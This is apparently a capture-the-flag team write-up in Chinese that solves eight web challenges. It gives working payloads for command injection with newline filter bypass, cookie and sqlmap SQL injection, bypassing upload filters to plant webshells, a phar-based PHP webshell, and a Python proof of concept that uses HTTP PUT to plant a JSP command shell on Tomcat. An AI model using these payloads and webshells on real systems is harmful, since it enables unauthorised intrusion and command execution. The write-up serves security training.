QUST-SEC战队WRITEUP
最后两个SQL注入没有
题目一 签到
操作内容
前端过滤 Burp抓包修改即可
蚁剑连接,在/var/www目录下找到了flag
key{K735c9f0D7ddc3b9}
题目二 命令执行基础
操作内容
尝试执行127.0.0.1;ls,发现过滤了;,用%0a(换行符)代替
输入127.0.0.1%0als ../
发现key.php,
再输入127.0.0.1%0acat ../key.php
得到flag
flag{usderhky}
题目三 你能爆破吗
操作内容
根据提示得知是cookie注入,查看cookie发现经过了base64编码
用order by判断查询字段数,为4时输出为空,可以得知查询了3个字段,admin" order by 4 limit 0,1#
用以下语句注出库名ad6min" union select database(),1,1 limit 0,1#
爆出security库下的表名ad6min" union select group_concat(table_name),1,1 from information_schema.tables where table_schema='security' limit 0,1#
发现flag表,爆字段名ad6min" union select group_concat(column_name),1,1 from information_schema.columns where table_name='flag' limit 0,1#
读flagad6min" union select group_concat(flag),1,1 from security.flag where 1=1 limit 0,1#
flag{a405ef895ef46d96}
题目四 文件上传
操作内容
抓包尝试上传一句话,经过fuzz发现后缀过滤了php、php4、php5、phtml,文件内容也存在过滤,过滤了php、eval等关键词,还有文件大小限制,必须大于20kb。
用0补到20kb,最终用pht后缀,用assert代替eval,大小写绕过php的替换,上传成功
用蚁剑连接得到flag
flag{Aa3c7c37508E40B3}
题目五 文件包含GetShell
操作内容
在html注释中发现lfi.txt,打开后得到lfi.php的源码,后缀名只能包含php。尝试phar文件包含
在本地生成一个包含shell的phar文件,重命名为xxx.txt上传到服务器上
<?php
$p = new Phar("my.phar", 0, 'my.phar');
$p->startBuffering();
$p['shell.php'] = '<?php system($_GET["x"]) ?>';
$p->setStub("<?php
Phar::mapPhar('myphar.phar');
__HALT_COMPILER();");
$p->stopBuffering();
?>
执行ls发现flag.php,读取flaghttp://afc114b2.yunyansec.com/lfi.php?file=phar://files/yUGMQyiG0Hmj3eO7.txt/shell&x=cat flag.php
flag{weisuohenzhongyao}
题目六 成绩单
操作内容
用burp抓包,将包保存为sql.txt,
执行sqlmap -r sql.txt --current-db得到数据库名web1
sqlmap -r sql.txt -D web1 –tables 得到表名,发现fl4g表
sqlmap -r sql.txt -D web1 -T fl4g --dump 得到flag
flag{Sql_INJECT0N_4813drd8hz4}
题目七 小猫咪踩灯泡
操作内容:
根据题目提示,搜索得到该漏洞的poc
#! -*- coding:utf-8 -*-
import httplib
import sys
import time
body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>'''
try:
conn = httplib.HTTPConnection(sys.argv[1])
conn.request(method='OPTIONS', url='/ffffzz')
headers = dict(conn.getresponse().getheaders())
if 'allow' in headers and \
headers['allow'].find('PUT') > 0 :
conn.close()
conn = httplib.HTTPConnection(sys.argv[1])
url = "/" + str(int(time.time()))+'.jsp/'
#url = "/" + str(int(time.time()))+'.jsp::$DATA'
conn.request( method='PUT', url= url, body=body)
res = conn.getresponse()
if res.status == 201 :
#print 'shell:', 'http://' + sys.argv[1] + url[:-7]
print 'shell:', 'http://' + sys.argv[1] + url[:-1]
elif res.status == 204 :
print 'file exists'
else:
print 'error'
conn.close()
else:
print 'Server not vulnerable'
except Exception,e:
print 'Error:', e
运行脚本得到shellhttp://28a256cd.yunyansec.com/1593507883.jsp?&pwd=023&cmd=ls
得到根目录文件列表,发现flag.txthttp://28a256cd.yunyansec.com/1593507883.jsp?&pwd=023&cmd=cat flag.txt
得到flag
flag{54e47be053bf6ea1}
题目八 分析代码获得flag
操作内容
题目限制了命令的长度,linux中>xx可以直接生成一个xx名称的文件,可以利用这个将命令分开,最后再用ls -t>a命令将文件名列表保存到a中,
为了避免一些特殊字符,将一句话base64编码
<?php eval($_GET[1]);编码后为PD9waHAgZXZhbCgkX0dFVFsxXSk7
最终要执行的是echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
将命令分开,因为ls -t是按照时间先后排序的,所以要反着写,结尾\是转义 相当于一个\
hp
1.p\\
d\>\\
\ -\\
e64\\
bas\\
7\|\\
XSk\\
Fsx\\
dFV\\
kX0\\
bCg\\
XZh\\
AgZ\\
waH\\
PD9\\
o\ \\
ech\\
但是想要将文件列表保存到文件需要执行ls -t>q
,这个命令7个字符,所以先要构造出这个命令。用以下命令得到可以执行ls -t>q
命令的文件a
>-t\\
>\>q
>l\\
>s\ \\
ls>a
ls>>a
所以最终payload为
>-t\\
>\>q
>l\\
>s\ \\
ls>a
ls>>a
>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
sh a
sh q
python脚本
import requests
url1 = "题目地址/?1="
with open("payload.txt","r") as f:
for i in f:
url = url1 + i.strip()
requests.get(url)
执行完之后便在网站目录下生成了1.php,读取flag
flag{a1c8BFF2}